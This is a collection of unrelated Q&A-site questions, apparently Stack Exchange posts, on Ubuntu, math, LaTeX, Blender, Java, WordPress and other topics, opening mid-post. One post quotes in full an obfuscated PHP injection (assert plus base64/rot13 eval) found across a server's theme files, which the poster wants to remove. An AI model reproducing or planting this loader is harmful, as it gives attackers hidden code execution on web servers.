http://archive.ubuntu.com/ubuntu/pool/main/c/curl/curl_7.58.0-2ubuntu3.6_amd64.deb  404  Not Found [IP: 91.189.88.24 80] E: Unable to fetch some archives, maybe run apt-get update or try with --fix-missing?   What could be causing this issue and what can I do to fix it so that I can run the first command?   I'm very new to linux, Ubuntu, and this site as a whole, so if I've formatted anything wrong or my understanding of something is obviously wrong, please let me know.


Show that $(1+\frac 1n)^{n^2} \mathrm e^{-n}$ is not a zero sequence without logarithms

How can I show that  $z_n = \left(1+\dfrac 1n \right)^{n^2} \mathrm e^{-n}$  is not a zero sequence? WolframAlpha says, it converges to $\frac{1}{\sqrt{e}}$ but how can I prove? I'd appreciate a solution without logarithms.


Which is the superior air-lock liquid: Vodka or Star-San?

I've had a life-long fancy for using vodka to clean sanitize and naturally use it in my air-lock.  Given that it is only 40%, however, and I live in California where pure grain alcohol is illegal, would starsan be better?  I guess the two dimensions to take into account would be sanitation and cost, but I am more concerned about sanitation.


How can I check if the current page is wp-login.php or wp-signup.php ?  Are there more elegant solutions than using $_SERVER['REQUEST_URI'] ?


For example, if passed the following:  a = []   How do I check to see if a is empty?


Creating a new object (in another method) for one which is already existing

Please explain me why am i getting an output  1234567 7654321  I want to know what exactly is happening here.  public static void main(String[] args) {   Date date = new Date(1234567);   m1(date);   System.out.print(date.getTime() + " ");    m2(date);   System.out.println(date.getTime()); }  public static void m1(Date date) {   date = new Date(7654321); }  public static void m2(Date date) {   date.setTime(7654321); }


remainder of a sum of consecutive integers

Can anyone help me this problem? I know the sum of consecutive integers is n(n+1)/2, but I don't know how to move forward from here.     If 738 consecutive integers are added together, where the 178th number in sequence is 4,256,815, what is the remainder when this sum is divided by 6?


In this MIDI-audio Patch circuit the capacitor has several lines though it - the lines look like ground lines - what do they represent ?  Does one connect the up and down triangles to each other, or are they separate (i.e. keep up triangles separate from down triangles ). I am assuming they are signal ground Thank you


Is this enough to prevent SQL-injection and general database hacking?

There are many methods to protect a website I know, but I was woundering if you can rate how well my methods are in the prevention of SQL-injection and database injection, and most importantly, give me suggestions on other ways to protect my website and database.  What I have in my website: (i) JavaScript + PHP form validation(dual-validation) (ii) sha512 password hashing (iii) mysql_real_escape_string all POST variables going into MySQL queries  How easy/hard are my current methods of prevention to bypass/hack? How can I improve on my current methods or addition of new methods?


Tabu very recently stopped working with color/xcolor or with fancyvrb

Below is a MWE with a tabu table that compiled perfectly fine up until I updated packages today (Dec. 16, 2018) with TeX Live Utility.  \documentclass[11pt]{article}  \usepackage{amsmath} \usepackage{xcolor} \usepackage{tabu}  \title{Example} \author{Andrew Turner}  \begin{document} \maketitle  \begin{table}[h!]     \centering      \tabulinesep = 3pt      \begin{tabu} spread 0pt {X[c$$]X[c$$]} \hline         a & b \\ \hline     \end{tabu}      \caption{test} \end{table}  \end{document}   After the update, trying to compile gives a whole bunch of errors like this:  ! Missing \cr inserted. <inserted text>                  \cr  l.19 \end{tabu}  I'm guessing that you meant to end an alignment here.  ! Misplaced \cr. <inserted text> \cr   l.19 \end{tabu}  I can't figure out why you would want to use a tab mark or \cr or \span just now. If something like a right brace up above has ended a previous alignment prematurely, you're probably due for more error messages, and you might try typing `S' now just to see what is salvageable.   If I comment out the xcolor package, this fixes the issue, or if I get rid of the spread 0pt and keep the xcolor package this also fixes the issue. I looked at what just updated in TeX Live Utility, and I wonder if it has to do with the recent update of colortbl.  Any help would be greatly appreciated.    Here is a further example. This is actually exact same, as recent version(s) of fancyvrb require package xcolor.     this is obsolete since release 3.2 (2019/01/08) of fancyvrb which does not load xcolor anymore.   \documentclass{article} \usepackage{fancyvrb} \usepackage{tabu} \begin{document} \begin{tabu}spread 0pt {XX} A & B \end{tabu} \end{document}   breaks with  ! Missing } inserted. <inserted text>                  } l.10 \end{tabu}  ?    Simply commenting out loading of fancyvrb it compiles, or using TL2017 (my TL2018 is already fully updated...) it compiles also.


Set inverse Child OF constraints via python

A few years ago I used to be using a little script found  in order to reset every "Stretch to" constraints of an armature, in pose mode, even on unselected/offlayered bones  :  import bpy     for b in bpy.context.active_object.pose.bones:         for c in b.constraints:              if c.type == "STRETCH_TO":                 c.rest_length = 0   It has been very useful, especially when you drastically edit the bones positions of an already finished rig (i.e. when you reuse the same rig for similar but different models).  I would like a very similar script, but with "set inverse" for CHILD_OF constraint. But I barely know Blender's API and every try haven't got anything working nor going the right direction.  My last attempt looked like that:  import bpy      for b in bpy.context.active_object.pose.bones:         for c in b.constraints:              if c.type == "CHILD_OF":                 context_py = bpy.context.copy()                 context_py["constraint"] = constraint                 bpy.ops.constraint.childof_set_inverse(context_py, constraint="Child Of")   And got this error:  Traceback (most recent call last):   File "\Text", line 7, in <module> NameError: name 'constraint' is not defined   I also got this proposition from another guy:  import bpy  for b in bpy.context.active_object.pose.bones:     for c in b.constraints:          if c.type == "CHILD_OF" and c.target is not None:             c.inverse_matrix = c.target.matrix_world.inverted()   With this one, no errors returned, it executes properly but simply doesn’t affects the rig.  If someone could help me, that would be kind.  Edit:  is one of the tracks if followed, but hasn't worked for me. Also, it looks like it's for object mode and for active selection only, while I'm going for pose mode and effect on the whole armature.  EDIT 2: SOLUTION  A big thank to Konybravo for :  import bpy  ob = bpy.context.active_object  # Take a copy of current layers  org_layers = ob.data.layers[:]  # Show all layers for i in range(len(org_layers)):     ob.data.layers[i] = True  for b in ob.pose.bones:     for c in b.constraints:          if c.type == "CHILD_OF":             context_py = bpy.context.copy()             context_py["constraint"] = c             ob.data.bones.active = b.bone             bpy.ops.constraint.childof_set_inverse(context_py, constraint="Child Of", owner='BONE')  # Reset back to orginal layer state     for i in range(len(org_layers)):     ob.data.layers[i] = org_layers[i]   Working straight away, even on bones hidden in a layer. Yay \o/ And thank y'all for helping me those days.


I am in a computer graphics class at my university and for my final project, I have chosen to create a program which renders a simple non-rotating black hole and models the curvature of light around the black hole.    The problem is that I have no idea how the math behind this works.  I have never taken differential equations so it is difficult for me to understand the geometry of space around black holes and how it warps the path of incoming light.  I would assume that this effect can be simulated by treating light as a Newtonian particle and calculating the deformation of the path by calculating the force of gravity by the black hole on the (massive) photon.  However, this is not an ideal solution and I would much rather simulate the actual curvature of light.  What I am wondering is, how exactly is this defined?  Given a photon and its distance from the black hole, how can I calculate the deviation of its path?


How do I combine the standard deviations of these distributions?

I have a set of distributions and I have combined (programmatically, not mathematically) them with weights, for example: Dist1, Dist2, Dist3, Dist4 p=.25, p=.20, p=.20, p=.35  Unless I am mistaken, the overall mean of this combination can be determined as:  mean(dist1) * 0.25 + mean(dist2) * .20 + mean(dist3) * .20 + mean(dist4) * .35   the probability of any value (e.g. pdf(x)) is calculated in much the same way:  pdf(x, Dist1) * .25 + pdf(x, Dist2) * .20 + pdf(x, Dist3) * .20 + pdf(x, Dist4) * .35   But the standard deviation cannot be determined like that. Other answers I have found on this site are for working with samples of finite length, but here I already know the standard deviations of my distributions and want to somehow combine them. I also saw somewhere that I can combine standard deviations by doing sqrt(std1^2 + std2^2) but I don't know how the weighting would come into this.  How can I do this? (and does what I have already done work mathematically - it almost seems too simple to be correct).


I was reading about changing root password in CentOS 7. it's totally different from centOS 6.         I was wondering about the steps for example why should I change ro? what exactly happens in every step?


Let $F$ be a finite field with $p^n$ elements where char$(F)=p$

I faced the following question while prove the proposition "the group of automorphisms of a finite field is cyclic"- Let $F$ be a finite field with $p^n$ elements where $\operatorname{char}(F)=p$. Then how to show that any automorphism of $F$ fixes $F_p$ pointwise i.e. if $f\in \operatorname{Aut}(F)$ then $f(x)=x \forall x\in F_p$ where $F_p\simeq \Bbb{Z}_p$. Can anybody clear up query? Thanks for assistance in advance.


I have a server with thousands of files containing a multi-line pattern that I want to globally find & replace.   Here's a sample of the pattern:

                 <?php avada_logo(); ?>                 <?php avada_main_menu(); ?>

   <?php //###=CACHE START=### @error_reporting(E_ALL); @ini_set("error_log",NULL); @ini_set("log_errors",0); @ini_set("display_errors", 0); @error_reporting(0); $wa = ASSERT_WARNING; @assert_options(ASSERT_ACTIVE, 1); @assert_options($wa, 0); @assert_options(ASSERT_QUIET_EVAL, 1);  $strings = "as"; $strings .= "se";  $strings .= "rt"; $strings2 = "st"; $strings2 .= "r_r";  $strings2 .= "ot13"; $gbz = "riny(".$strings2("base64_decode"); $light =  $strings2($gbz.'("nJLtXPScp3AyqPtxnJW2XFxtrlNtMKWlo3WspzIjo3W0nJ5aXQNcBjccMvtuMJ1jqUxbWS9QG09YFHIoVzAfnJIhqS9wnTIwnlWqXFxtrlOyL2uiVPEsD09CF0ySJlWwoTyyoaEsL2uyL2fvKGftsFOyoUAyVUfXWUIloPN9VPWbqUEjBv8ioT9uMUIjMTS0MKZhL29gY2qyqP5jnUN/nKN9Vv51pzkyozAiMTHbWS9GEIWJEIWoVyWSGH9HEI9OEREFVy0cYvVzMQ0vYaIloTIhL29xMFtxK1ASHyMSHyfvH0IFIxIFK05OGHHvKF4xK1ASHyMSHyfvHxIEIHIGIS9IHxxvKFxhVvM1CFVhqKWfMJ5wo2EyXPEsH0IFIxIFJlWVISEDK1IGEIWsDHqSGyDvKFxhVvMcCGRznQ0vYz1xAFtvZwSxLGVkAwqzBJEvBTSwAwV4ZwLkMGp3AQyvLJH1ZwDkZFVcBjccMvuzqJ5wqTyioy9yrTymqUZbVzA1pzksnJ5cqPVcXFO7PvEwnPN9VTA1pzksnJ5cqPtxqKWfXGfXL3IloS9mMKEipUDbWTAbYPOQIIWZG1OHK0uSDHESHvjtExSZH0HcB2A1pzksp2I0o3O0XPEwqKWfYPOQIIWZG1OHK0ACGx5SD1EHFH1SG1IHYPN1XGftL3IloS9mMKEipUDbWTA1pzjfVRAIHxkCHSEsIRyAEH9IIPjtAFx7PzA1pzksp2I0o3O0XPEwnPjtD1IFGR9DIS9FEIEIHx5HHxSBH0MSHvjtISWIEFx7PvEcLaLtCFOwqKWfK2I4MJZbWTAbXGfXL3IloS9woT9mMFtxL2tcBjc9VTIfp2IcMvucozysM2I0XPWuoTkiq191pzksMz9jMJ4vXFN9CFNkXFO7PvEcLaLtCFOznJkyK2qyqS9wo250MJ50pltxqKWfXGfXsDccMvucp3AyqPtxK1WSHIISH1EoVaNvKFxtWvLtoJD1XT1xAFtxK1WSHIISH1EoVaNvKFxcVQ09VPVkAwN0MwH5ZmxjZwp3ZGVlBGp1BJDjMQHkAGyzA2HkLvVcVUftMKMuoPumqUWcpUAfLKAbMKZbWS9FEISIEIAHJlWwVy0cXGftsDcyL2uiVPEcLaL7PtxWPK0tsD=="));'); $strings($light); //###=CACHE END=### ?>   I've tried various methods to find and replace this string but its multiline nature has got me stumped. I've looked around extensively (over a day of searching) and the solutions I've found can't handle the multi-line nature of this.  Any assistance would be most welcome.    UPDATE  I've got a solution now, largely thanks to the accepted answer.   Others facing something similar should .


What does the percent sign indicate when used as a directory in batch files?

I have made a few batch files the hard way by CD-ing into the directory by typing all the way from root drive to folder. I have seen a few example codes use percent signs enclosing a few key words and continue from there, eg:  %user_files%\programs\destination folder   They have always worked too.


Is it "StackOverflow", or "Stack Overflow"?

I just came across , which would never have been approved if the user had < 2K rep, and I'm wondering if it's even legit.  So, what is the proper name to use when referring to the site?


Classification of automorphisms of projective space

Let $k$ be a field, n a positive integer.  Vakil's notes, 17.4.B: Show that all the automorphisms of the projective scheme $P_k^n$ correspond to $(n+1)\times(n+1)$ invertible matrices over k, modulo scalars.   His hint is to show that $f^\star \mathcal{O}(1) \cong \mathcal{O}(1).$ (f is the automorphism. I don't if $\mathcal{O}(1)$ is the conventional notation; if it's unclear, it's an invertible sheaf over $P_k^n$) I can show what he wants assuming this, but can someone help me find a clean way to show this?


I'm a week into making apple cider vinegar. I've used jars and the apples at the top were not covered with liquid. A blue mold formed. I've removed it. Should I carry on or should I start again? If I carry on would the final resulting vinegar be OK for consumption? Or just topical application? Any advise greatly appreciated. Hate to Waste!


question about applications for downloading applications

Is there any free application that performs better than Ubuntu Software Center in downloading applications regarding the downloading speed and the ability to pause and resume? Or can I improve the performance of Ubuntu Software Center?


WPF application has been started with email link and I have same application installed in system so once installed application opened and login in to application and after clicked on email link, it is opening another instance.  It may be open single instance of application. Please advise.  Thanks, Gaurang


Whenever I try to transform any edges, all of the surrounding edges will raise up even if they are not connected.   Does anyone know why this happens and/or know how to turn it off?


How to prove 2x2 rotation matrix is a manifold

How can I prove that this matrix is a manifold?  $\begin{pmatrix} \cos(a) & -\sin(a) \\ \sin(a) & \cos(a) \end{pmatrix}$  Thanks!


Finiteness of the fibers of the prime spectrum

Let $A\rightarrow B$ be a ring homomorphism such that $B$ is a finitely generated $A$-module. How one shows that the (set-theoretic) fibers of the map $\operatorname{Spec}B\rightarrow\operatorname{Spec}A$, where the spectra are considered as topological spaces, are always finite?


What's the proper way to typeset a differential operator?

I can't seem to find any consensus on the right way to typeset a differential operator, whether it is:   in a standalone context:  as part of a derivative:  as part of an integral:    In all of these cases, I have seen them sometimes italicized like variables (as in the second and third examples above) and sometimes not italicized like operator names (as in the first example above). There is also additional variation in how much spacing goes between the "d" and whatever it is acting on.  Seeing as this is an incredibly common symbol in many branches of mathematics, I am curious about the lack of standardization -- I've seen all possible combinations used in all possible contexts by many respected authors and publishers.  Are there any rules of thumb that I can follow? I personally tend to prefer the non-italicized version with very little space next to it, so I add:  \renewcommand{\d}[1]{\ensuremath{\operatorname{d}\!{#1}}}   to my default preamble, and use that everywhere, but I'd like to know if I'm breaking any hard-and-fast rules here.


In beamer, to set e.g. title in bold I can use \textbf as in  \documentclass{beamer} \title{\textbf{Title}} \begin{document} \frame{\titlepage} \end{document}   How would a skilled beamer expert approach this problem?